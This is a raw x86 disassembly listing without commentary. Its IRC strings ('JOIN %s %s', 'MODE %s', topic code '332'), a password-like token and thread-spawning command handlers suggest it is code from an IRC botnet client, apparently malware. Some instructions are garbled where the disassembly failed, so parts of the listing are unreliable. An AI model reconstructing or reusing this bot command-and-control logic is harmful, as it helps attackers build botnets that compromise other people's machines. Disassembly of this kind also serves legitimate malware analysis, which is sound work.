		push	eax
		push	offset unk_42B80C
		jmp	loc_40D94A
; ---------------------------------------------------------------------------


loc_40BFEC:				; CODE XREF: seg000:0040B0BCj
					; seg000:0040B0D3j
		push	edi
		call	sub_410A7F
		push	7Fh
		mov	[ebp-300h], eax
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-404h]
		push	eax
		call	sub_411D00
		push	dword ptr [ebp+8]
		call	sub_410A7F
		push	dword ptr [ebp-98h]
		mov	esi, [ebp+0Ch]
		mov	[ebp-304h], eax
		lea	eax, [ebp-384h]
		push	80h
		push	eax
		mov	[ebp-40Ch], esi
		call	sub_410A8A
		mov	eax, [ebp-8]
		add	esp, 20h
		mov	edi, [ebp-4]
		mov	[ebp-2F0h], eax
		push	dword ptr [ebp-304h]
		lea	eax, [ebp-404h]
		mov	[ebp-2F4h], edi
		push	eax
		push	dword ptr [ebp-300h]
		push	esi
		call	sub_407435
		pop	ecx
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset unk_42B7BC
		push	eax
		call	sub_41050B
		push	ebx
		lea	eax, [ebp-2E4h]
		push	10h
		push	eax
		call	sub_40FFB7
		add	esp, 24h
		mov	[ebp-2FCh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-40Ch]
		push	ebx
		push	eax
		push	offset sub_405982
		push	ebx
		push	ebx
		call	ds:dword_41C06C	; CreateThread
		mov	ecx, [ebp-2FCh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4358EC[ecx], eax
		jz	short loc_40C0D5


loc_40C0BF:				; CODE XREF: seg000:0040C0D3j
		cmp	[ebp-2ECh], ebx
		jnz	loc_40D959
		push	32h
		call	ds:dword_41C058	; Sleep
		jmp	short loc_40C0BF
; ---------------------------------------------------------------------------


loc_40C0D5:				; CODE XREF: seg000:0040C0BDj
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B768
		jmp	loc_40D94A
; ---------------------------------------------------------------------------


loc_40C0E6:				; CODE XREF: seg000:0040B08Ej
					; seg000:0040B0A5j
		push	0FFh
		lea	eax, [ebp-788h]
		push	edi
		push	eax
		call	sub_411D00
		push	0FFh
		lea	eax, [ebp-688h]
		push	dword ptr [ebp+20h]
		push	eax
		call	sub_411D00
		push	dword ptr [ebp+8]
		mov	[ebp-584h], ebx
		call	sub_410A7F
		mov	[ebp-580h], eax
		mov	eax, [ebp+esi-90h]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_40C142
		push	10h
		push	ebx
		push	eax
		call	sub_4118C9
		add	esp, 0Ch
		mov	[ebp-578h], eax
		jmp	short loc_40C148
; ---------------------------------------------------------------------------


loc_40C142:				; CODE XREF: seg000:0040C12Cj
		mov	[ebp-578h], ebx


loc_40C148:				; CODE XREF: seg000:0040C140j
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jz	short loc_40C162
		push	esi
		call	sub_410A7F
		pop	ecx
		mov	[ebp-57Ch], eax
		jmp	short loc_40C168
; ---------------------------------------------------------------------------


loc_40C162:				; CODE XREF: seg000:0040C151j
		mov	[ebp-57Ch], ebx


loc_40C168:				; CODE XREF: seg000:0040C160j
		movzx	eax, byte ptr [ebp-9AFh]
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-98h]
		mov	[ebp-574h], eax
		lea	eax, [ebp-808h]
		mov	[ebp-80Ch], esi
		push	eax
		call	sub_411D00
		mov	eax, [ebp-4]
		push	dword ptr [ebp+20h]
		mov	[ebp-56Ch], eax
		mov	eax, [ebp-8]
		mov	[ebp-570h], eax
		push	edi
		lea	eax, [ebp-2E4h]
		push	offset unk_42B728
		push	eax
		call	sub_41050B
		push	esi
		lea	eax, [ebp-2E4h]
		push	15h
		push	eax
		call	sub_40FFB7
		add	esp, 28h
		mov	[ebp-588h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-80Ch]
		push	ebx
		push	eax
		push	offset loc_408152
		push	ebx
		push	ebx
		call	ds:dword_41C06C	; CreateThread
		mov	ecx, [ebp-588h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4358EC[ecx], eax
		jz	short loc_40C216


loc_40C200:				; CODE XREF: seg000:0040C214j
		cmp	[ebp-568h], ebx
		jnz	loc_40B883
		push	32h
		call	ds:dword_41C058	; Sleep
		jmp	short loc_40C200
; ---------------------------------------------------------------------------


loc_40C216:				; CODE XREF: seg000:0040C1FEj
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B6D4
		jmp	loc_40C419
; ---------------------------------------------------------------------------


loc_40C227:				; CODE XREF: seg000:0040B060j
					; seg000:0040B077j
		push	7Fh
		lea	eax, [ebp-774h]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_411D00
		push	esi
		lea	eax, [ebp-6F4h]
		push	dword ptr [ebp+20h]
		push	eax
		call	sub_411D00
		push	esi
		lea	eax, [ebp-674h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_411D00
		push	esi
		lea	eax, [ebp-5F4h]
		push	dword ptr [ebp-98h]
		push	eax
		call	sub_411D00
		mov	eax, [ebp-8]
		push	dword ptr [ebp+8]
		mov	esi, [ebp-4]
		mov	[ebp-56Ch], eax
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp+20h]
		mov	[ebp-778h], eax
		lea	eax, [ebp-2E4h]
		push	edi
		push	offset dword_42B694
		push	eax
		mov	[ebp-570h], esi
		call	sub_41050B
		add	esp, 44h
		lea	eax, [ebp-2E4h]
		push	ebx
		push	0Bh
		push	eax
		call	sub_40FFB7
		add	esp, 0Ch
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-778h]
		push	ebx
		push	eax
		push	offset sub_40182E
		push	ebx
		push	ebx
		call	ds:dword_41C06C	; CreateThread
		mov	ecx, [ebp-574h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4358EC[ecx], eax
		jz	short loc_40C2FA


loc_40C2E8:				; CODE XREF: seg000:0040C2F8j
		cmp	[ebp-568h], ebx
		jnz	short loc_40C315
		push	32h
		call	ds:dword_41C058	; Sleep
		jmp	short loc_40C2E8
; ---------------------------------------------------------------------------


loc_40C2FA:				; CODE XREF: seg000:0040C2E6j
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42B648
		push	eax
		call	sub_41050B
		add	esp, 0Ch


loc_40C315:				; CODE XREF: seg000:0040C2EEj
		cmp	[ebp-8], ebx
		jnz	loc_40B462
		push	ebx
		push	esi
		jmp	loc_40B44A
; ---------------------------------------------------------------------------


loc_40C325:				; CODE XREF: seg000:0040B01Bj
					; seg000:0040B032j ...
		push	7Fh
		lea	eax, [ebp-7F0h]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_411D00
		push	esi
		lea	eax, [ebp-770h]
		push	dword ptr [ebp+20h]
		push	eax
		call	sub_411D00
		push	esi
		lea	eax, [ebp-6F0h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_411D00
		push	esi
		lea	eax, [ebp-670h]
		push	dword ptr [ebp-98h]
		push	eax
		call	sub_411D00
		push	20h
		lea	eax, [ebp-5F0h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_411D00
		mov	eax, [ebp-4]
		push	dword ptr [ebp+8]
		mov	esi, [ebp+0Ch]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		push	dword ptr [ebp+20h]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-2E4h]
		push	edi
		push	offset unk_42B604
		push	eax
		mov	[ebp-7F8h], esi
		call	sub_41050B
		add	esp, 50h
		lea	eax, [ebp-2E4h]
		push	ebx
		push	0Ah
		push	eax
		call	sub_40FFB7
		add	esp, 0Ch
		mov	[ebp-7F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-7F8h]
		push	ebx
		push	eax
		push	offset start
		push	ebx
		push	ebx
		call	ds:dword_41C06C	; CreateThread
		mov	ecx, [ebp-7F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4358EC[ecx], eax
		jz	short loc_40C40D


loc_40C3F7:				; CODE XREF: seg000:0040C40Bj
		cmp	[ebp-568h], ebx
		jnz	loc_40B883
		push	32h
		call	ds:dword_41C058	; Sleep
		jmp	short loc_40C3F7
; ---------------------------------------------------------------------------


loc_40C40D:				; CODE XREF: seg000:0040C3F5j
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B5B8


loc_40C419:				; CODE XREF: seg000:0040B865j
					; seg000:0040B9B3j ...
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_41050B
		jmp	loc_40B880
; ---------------------------------------------------------------------------


loc_40C42A:				; CODE XREF: seg000:0040AFEDj
					; seg000:0040B004j
		push	7Fh
		lea	eax, [ebp-444h]
		push	edi
		push	eax
		call	sub_411D00
		push	dword ptr [ebp+20h]
		call	sub_410A7F
		push	3Fh
		mov	[ebp-2F4h], eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-3C4h]
		push	eax
		call	sub_411D00
		mov	esi, [ebp+esi-90h]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_40C478
		push	3Fh
		lea	eax, [ebp-384h]
		push	esi
		push	eax
		call	sub_411D00
		add	esp, 0Ch


loc_40C478:				; CODE XREF: seg000:0040C464j
		lea	eax, [ebp-3C4h]
		mov	dword ptr [ebp-2F0h], 1
		push	eax
		lea	eax, [ebp-444h]
		push	dword ptr [ebp-2F4h]
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset unk_42B574
		push	eax
		call	sub_41050B
		push	ebx
		lea	eax, [ebp-2E4h]
		push	17h
		push	eax
		call	sub_40FFB7
		add	esp, 20h
		mov	[ebp-2ECh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-448h]
		push	ebx
		push	eax
		push	offset sub_4090B0
		push	ebx
		push	ebx
		call	ds:dword_41C06C	; CreateThread
		mov	ecx, [ebp-2ECh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4358EC[ecx], eax
		jz	short loc_40C504


loc_40C4EE:				; CODE XREF: seg000:0040C502j
		cmp	[ebp-2E8h], ebx
		jnz	loc_40D0B5
		push	32h
		call	ds:dword_41C058	; Sleep
		jmp	short loc_40C4EE
; ---------------------------------------------------------------------------


loc_40C504:				; CODE XREF: seg000:0040C4ECj
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B528
		jmp	loc_40CF25
; ---------------------------------------------------------------------------


loc_40C515:				; CODE XREF: seg000:0040AFADj
					; seg000:0040AFC4j
		push	dword ptr [ebp+20h]
		call	sub_410A7F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-578h], eax
		jle	loc_40C606
		mov	esi, 80h
		push	edi
		lea	eax, [ebp-700h]
		push	esi
		push	eax
		call	sub_410A8A
		xor	eax, eax
		cmp	[ebp-9A2h], bl
		push	dword ptr [ebp-98h]
		setnz	al
		mov	[ebp-574h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-704h], eax
		lea	eax, [ebp-600h]
		push	esi
		push	eax
		call	sub_410A8A
		mov	eax, [ebp-4]
		push	dword ptr [ebp+20h]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		push	edi
		push	offset unk_42B4E8
		lea	eax, [ebp-2E4h]
		push	200h
		push	eax
		call	sub_410A8A
		push	ebx
		lea	eax, [ebp-2E4h]
		push	0Dh
		push	eax
		call	sub_40FFB7
		add	esp, 38h
		mov	[ebp-580h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-704h]
		push	ebx
		push	eax
		push	offset loc_401447
		push	ebx
		push	ebx
		call	ds:dword_41C06C	; CreateThread
		mov	ecx, [ebp-580h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4358EC[ecx], eax
		jz	short loc_40C5F5


loc_40C5DF:				; CODE XREF: seg000:0040C5F3j
		cmp	[ebp-568h], ebx
		jnz	loc_40B441
		push	32h
		call	ds:dword_41C058	; Sleep
		jmp	short loc_40C5DF
; ---------------------------------------------------------------------------


loc_40C5F5:				; CODE XREF: seg000:0040C5DDj
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B49C
		jmp	loc_40B432
; ---------------------------------------------------------------------------


loc_40C606:				; CODE XREF: seg000:0040C526j
		push	offset unk_42B450
		jmp	loc_40D67E
; ---------------------------------------------------------------------------


loc_40C610:				; CODE XREF: seg000:0040AF7Fj
					; seg000:0040AF96j
		push	dword ptr [ebp+20h]
		push	edi
		call	near ptr 3D0000h
		icebp
		test	eax, eax
		jz	short loc_40C63D
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-2E4h]
		push	edi
		push	offset unk_42B418
		push	200h
		push	eax
		call	sub_410A8A
		add	esp, 14h
		jmp	short loc_40C65C
; ---------------------------------------------------------------------------


loc_40C63D:				; CODE XREF: seg000:0040C61Cj
		push	offset dword_42B3F8
		call	loc_406ECC
		push	eax
		lea	eax, [ebp-2E4h]
		push	200h
		push	eax
		call	sub_410A8A
		add	esp, 10h


loc_40C65C:				; CODE XREF: seg000:0040C63Bj
					; seg000:0040D0FFj ...
		cmp	[ebp-8], ebx
		jnz	short loc_40C67D
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		add	esp, 14h


loc_40C67D:				; CODE XREF: seg000:0040A371j
					; seg000:0040C65Fj ...
		push	1
		pop	esi


loc_40C680:				; CODE XREF: seg000:0040C8DAj
					; seg000:0040CFFAj ...
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_407E0E
		pop	ecx
		mov	eax, esi
		jmp	loc_40980E
; ---------------------------------------------------------------------------


loc_40C694:				; CODE XREF: seg000:0040AF51j
					; seg000:0040AF68j
		push	44h
		lea	eax, [ebp-4A8h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_410590
		push	1
		mov	[ebp-4A8h], esi
		pop	esi
		mov	[ebp-478h], bx
		push	edi
		mov	[ebp-47Ch], esi
		call	sub_410A7F
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_40C6D1
		mov	word ptr [ebp-478h], 5


loc_40C6D1:				; CODE XREF: seg000:0040C6C6j
		cmp	[ebp-0Ch], ebx
		jz	loc_40D0B5
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_410AE0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_40D0B5
		lea	eax, [ebp-0D8h]
		push	eax
		lea	eax, [ebp-4A8h]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	near ptr 3D0000h
		pop	edi
		test	eax, eax
		jnz	short loc_40C71C
		push	offset unk_42B3C0
		jmp	loc_40D0A7
; ---------------------------------------------------------------------------


loc_40C71C:				; CODE XREF: seg000:0040C710j
		push	edi
		push	offset dword_42B394
		jmp	loc_40CF25
; ---------------------------------------------------------------------------


loc_40C727:				; CODE XREF: seg000:0040AF23j
					; seg000:0040AF3Aj
		push	dword ptr [ebp+20h]
		push	offset aIds44433 ; "ids44433"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C8A3
		lea	eax, [ebp-3E8h]
		push	eax
		push	104h
		call	near ptr 3D0000h
		test	eax, 0FF68h
		add	[ebp-7877Bh], cl
		call	dword ptr [edi+50h]
		call	sub_411D00
		lea	eax, [ebp-0E4h]
		push	eax
		call	sub_40F741
		push	eax
		lea	eax, [ebp-3E8h]
		push	eax
		lea	eax, [ebp-688h]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41050B
		mov	eax, [ebp+esi-94h]
		add	esp, 20h
		cmp	eax, ebx
		mov	dword ptr [ebp-584h], 1
		mov	[ebp-580h], ebx
		jz	short loc_40C7B9
		push	10h
		push	ebx
		push	eax
		call	sub_4118C9
		add	esp, 0Ch
		mov	[ebp-578h], eax
		jmp	short loc_40C7BF
; ---------------------------------------------------------------------------


loc_40C7B9:				; CODE XREF: seg000:0040C7A3j
		mov	[ebp-578h], ebx


loc_40C7BF:				; CODE XREF: seg000:0040C7B7j
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_40C7D9
		push	esi
		call	sub_410A7F
		pop	ecx
		mov	[ebp-57Ch], eax
		jmp	short loc_40C7DF
; ---------------------------------------------------------------------------


loc_40C7D9:				; CODE XREF: seg000:0040C7C8j
		mov	[ebp-57Ch], ebx


loc_40C7DF:				; CODE XREF: seg000:0040C7D7j
		movzx	eax, byte ptr [ebp-9AFh]
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-98h]
		mov	[ebp-574h], eax
		lea	eax, [ebp-808h]
		mov	[ebp-80Ch], esi
		push	eax
		call	sub_411D00
		mov	eax, [ebp-4]
		push	edi
		mov	[ebp-56Ch], eax
		mov	eax, [ebp-8]
		mov	[ebp-570h], eax
		lea	eax, [ebp-2E4h]
		push	offset unk_42B348
		push	eax
		call	sub_41050B
		push	esi
		lea	eax, [ebp-2E4h]
		push	16h
		push	eax
		call	sub_40FFB7
		add	esp, 24h
		mov	[ebp-588h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-80Ch]
		push	ebx
		push	eax
		push	offset loc_408152
		push	ebx
		push	ebx
		call	ds:dword_41C06C	; CreateThread
		mov	ecx, [ebp-588h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4358EC[ecx], eax
		jz	short loc_40C886


loc_40C874:				; CODE XREF: seg000:0040C884j
		cmp	[ebp-568h], ebx
		jnz	short loc_40C8B6
		push	32h
		call	ds:dword_41C058	; Sleep
		jmp	short loc_40C874
; ---------------------------------------------------------------------------


loc_40C886:				; CODE XREF: seg000:0040C872j
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B2F8


loc_40C892:				; CODE XREF: seg000:0040D03Ej
					; seg000:0040D048j ...
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_41050B


loc_40C89E:				; CODE XREF: seg000:0040D9FBj
		add	esp, 0Ch
		jmp	short loc_40C8B6
; ---------------------------------------------------------------------------


loc_40C8A3:				; CODE XREF: seg000:0040C738j
		lea	eax, [ebp-2E4h]
		push	offset unk_42B2A0
		push	eax
		call	sub_41050B
		pop	ecx
		pop	ecx


loc_40C8B6:				; CODE XREF: seg000:0040C87Aj
					; seg000:0040C8A1j
		cmp	[ebp-8], ebx
		jnz	short loc_40C8D7
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		add	esp, 14h


loc_40C8D7:				; CODE XREF: seg000:0040C8B9j
					; seg000:0040DF18j ...
		mov	esi, [ebp+2Ch]
		jmp	loc_40C680
; ---------------------------------------------------------------------------


loc_40C8DF:				; CODE XREF: seg000:0040AEF5j
					; seg000:0040AF0Cj
		push	dword ptr [ebp-9Ch]
		push	offset a332	; "332"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40980B
		cmp	[ebp-0Ch], ebx
		jz	loc_40980B
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_410AE0
		push	eax
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp-9Ch]
		push	dword ptr [ebp-0A0h]
		push	offset dword_42B290
		push	eax
		call	sub_41050B
		lea	eax, [ebp-2E4h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_411D00
		push	edi
		call	sub_410A7F
		add	esp, 30h
		test	eax, eax
		jle	short loc_40C966
		push	edi
		call	sub_410A7F
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	ds:dword_41C058	; Sleep


loc_40C966:				; CODE XREF: seg000:0040C950j
		push	offset dword_42B268
		call	sub_407E0E
		mov	eax, [ebp+2Ch]
		pop	ecx
		inc	eax
		jmp	loc_40980E
; ---------------------------------------------------------------------------


loc_40C97A:				; CODE XREF: seg000:0040AEC7j
					; seg000:0040AEDEj
		push	dword ptr [ebp-9Ch]
		push	offset a332	; "332"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40980B
		cmp	[ebp-0Ch], ebx
		jz	loc_40E148
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_410AE0
		mov	esi, eax
		mov	eax, [ebp+20h]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_410930
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_40CA36
		push	dword ptr [ebp-98h]
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-9Ch]
		push	dword ptr [ebp-0A0h]
		push	offset dword_42B290
		push	eax
		call	sub_41050B
		lea	eax, [ebp-2E4h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_411D00
		push	esi
		lea	eax, [ebp-2E4h]
		push	offset dword_42B234
		push	eax
		call	sub_41050B
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_407E0E
		push	edi
		call	sub_410A7F
		add	esp, 38h
		test	eax, eax
		jle	loc_40E148
		push	edi
		call	sub_410A7F
		add	eax, [ebp+2Ch]
		pop	ecx
		jmp	loc_40980E
; ---------------------------------------------------------------------------


loc_40CA36:				; CODE XREF: seg000:0040C9BFj
		push	offset dword_42B1EC
		jmp	loc_40CF25
; ---------------------------------------------------------------------------


loc_40CA40:				; CODE XREF: seg000:0040AE99j
					; seg000:0040AEB0j
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-2E4h]
		push	offset dword_42B1E4
		push	eax
		call	sub_41050B
		push	edi
		call	sub_410A7F
		add	esp, 10h


loc_40CA5D:				; CODE XREF: seg000:0040CAC4j
		test	eax, eax
		jle	loc_40E148
		push	edi
		call	sub_410A7F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40E148


loc_40CA77:				; CODE XREF: seg000:0040D186j
		lea	eax, [ebp-2E4h]
		push	eax
		push	offset dword_41EE48
		push	edi
		call	sub_410A7F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4358E4[eax]
		call	sub_40E321
		jmp	loc_40DFF7
; ---------------------------------------------------------------------------


loc_40CAA0:				; CODE XREF: seg000:0040AE6Bj
					; seg000:0040AE82j
		push	dword ptr [ebp+esi-94h]
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp+20h]
		push	offset dword_42B1D8
		push	eax
		call	sub_41050B
		push	edi
		call	sub_410A7F
		add	esp, 14h
		jmp	short loc_40CA5D
; ---------------------------------------------------------------------------


loc_40CAC6:				; CODE XREF: seg000:0040AE3Dj
					; seg000:0040AE54j
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-2E4h]
		push	offset dword_42B1D0
		push	eax
		call	sub_41050B
		push	edi
		call	sub_410A7F
		add	esp, 10h
		test	eax, eax
		jle	loc_40E148
		push	edi
		call	sub_410A7F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40E148
		lea	eax, [ebp-2E4h]
		push	eax
		push	offset dword_41EE48
		push	edi
		call	sub_410A7F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4358E4[eax]
		call	sub_40E321
		push	dword ptr [ebp+20h]
		push	edi
		push	offset dword_42B1A0


loc_40CB2A:				; CODE XREF: seg000:0040CBB1j
					; seg000:0040CC1Cj ...
		call	sub_407E82
		jmp	loc_40DCB8
; ---------------------------------------------------------------------------


loc_40CB34:				; CODE XREF: seg000:0040AE0Fj
					; seg000:0040AE26j
		cmp	[ebp-0Ch], ebx
		jz	loc_40E148
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_410AE0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40CB65
		push	esi
		lea	eax, [ebp-2E4h]
		push	offset dword_42B198
		push	eax
		call	sub_41050B
		add	esp, 0Ch


loc_40CB65:				; CODE XREF: seg000:0040CB4Ej
		push	edi
		call	sub_410A7F
		test	eax, eax
		pop	ecx
		jle	loc_40E148
		push	edi
		call	sub_410A7F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40E148
		lea	eax, [ebp-2E4h]
		push	eax
		push	offset dword_41EE48
		push	edi
		call	sub_410A7F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4358E4[eax]
		call	sub_40E321
		push	esi
		push	edi
		push	offset dword_42B168
		jmp	loc_40CB2A
; ---------------------------------------------------------------------------


loc_40CBB6:				; CODE XREF: seg000:0040ADE1j
					; seg000:0040ADF8j
		cmp	[ebp-0Ch], ebx
		jz	loc_40E148
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_410AE0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40E148
		push	edi
		call	sub_410A7F
		test	eax, eax
		pop	ecx
		jle	loc_40E148
		push	edi
		call	sub_410A7F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40E148
		push	esi
		push	offset dword_41EE48
		push	edi
		call	sub_410A7F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4358E4[eax]
		call	sub_40E321
		push	esi
		push	edi
		push	offset dword_42B138
		jmp	loc_40CB2A
; ---------------------------------------------------------------------------


loc_40CC21:				; CODE XREF: seg000:0040ADB3j
					; seg000:0040ADCAj
		cmp	[ebp-0Ch], ebx
		jz	loc_40E148
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_410AE0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40E148
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40E321
		push	esi
		push	offset dword_42B0FC
		jmp	loc_40D377
; ---------------------------------------------------------------------------


loc_40CC58:				; CODE XREF: seg000:0040AD85j
					; seg000:0040AD9Cj
		push	dword ptr [ebp-9Ch]
		push	offset a332	; "332"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40980B
		push	dword ptr [ebp+20h]
		push	offset dword_42B0F0
		push	dword ptr [ebp+0Ch]
		call	sub_40E321
		push	edi
		call	sub_410A7F
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	ds:dword_41C058	; Sleep
		push	dword ptr [ebp+esi-94h]
		push	dword ptr [ebp+20h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40E321
		push	offset dword_42B0C8
		call	sub_407E0E
		jmp	loc_40D37C
; ---------------------------------------------------------------------------


loc_40CCBE:				; CODE XREF: seg000:0040AD57j
					; seg000:0040AD6Ej
		cmp	[ebp-0Ch], ebx
		jz	loc_40E148
		push	edi
		call	sub_410B60
		push	dword ptr [ebp+18h]
		mov	esi, eax
		call	sub_410B60
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+20h]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_410AE0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_40E148
		push	esi
		lea	eax, [ebp-2E4h]
		push	offset dword_42B8CC
		push	eax
		call	sub_41050B
		push	ebx
		lea	eax, [ebp-2E4h]
		push	ebx
		push	eax
		push	edi
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		push	esi
		push	edi
		push	offset dword_42B098
		call	sub_407E82
		add	esp, 2Ch
		jmp	loc_40E148
; ---------------------------------------------------------------------------


loc_40CD2C:				; CODE XREF: seg000:0040AD29j
					; seg000:0040AD40j
		cmp	[ebp-0Ch], ebx
		jz	loc_40E148
		push	edi
		call	sub_410B60
		push	dword ptr [ebp+18h]
		mov	esi, eax
		call	sub_410B60
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+20h]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_410AE0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_40E148
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		push	esi
		push	edi
		push	offset dword_42B068
		call	sub_407E82


loc_40CD7A:				; CODE XREF: seg000:0040BA03j
		add	esp, 20h
		jmp	loc_40E148
; ---------------------------------------------------------------------------


loc_40CD82:				; CODE XREF: seg000:0040ACFBj
					; seg000:0040AD12j
		cmp	[ebp-0Ch], ebx
		jz	loc_40980B
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_410AE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40980B
		push	eax
		push	edi
		call	sub_407D16
		push	edi
		lea	eax, [ebp-2E4h]
		push	offset dword_42B038
		push	eax
		call	sub_41050B
		add	esp, 14h
		jmp	loc_40B441
; ---------------------------------------------------------------------------


loc_40CDC1:				; CODE XREF: seg000:0040ACBBj
					; seg000:0040ACD2j
		push	edi
		push	dword ptr [ebp+24h]
		call	sub_410AE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E148
		mov	esi, [ebp+esi-98h]
		cmp	esi, ebx
		jz	short loc_40CE5E
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_410AE0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40CE46
		push	esi
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp-9Ch]
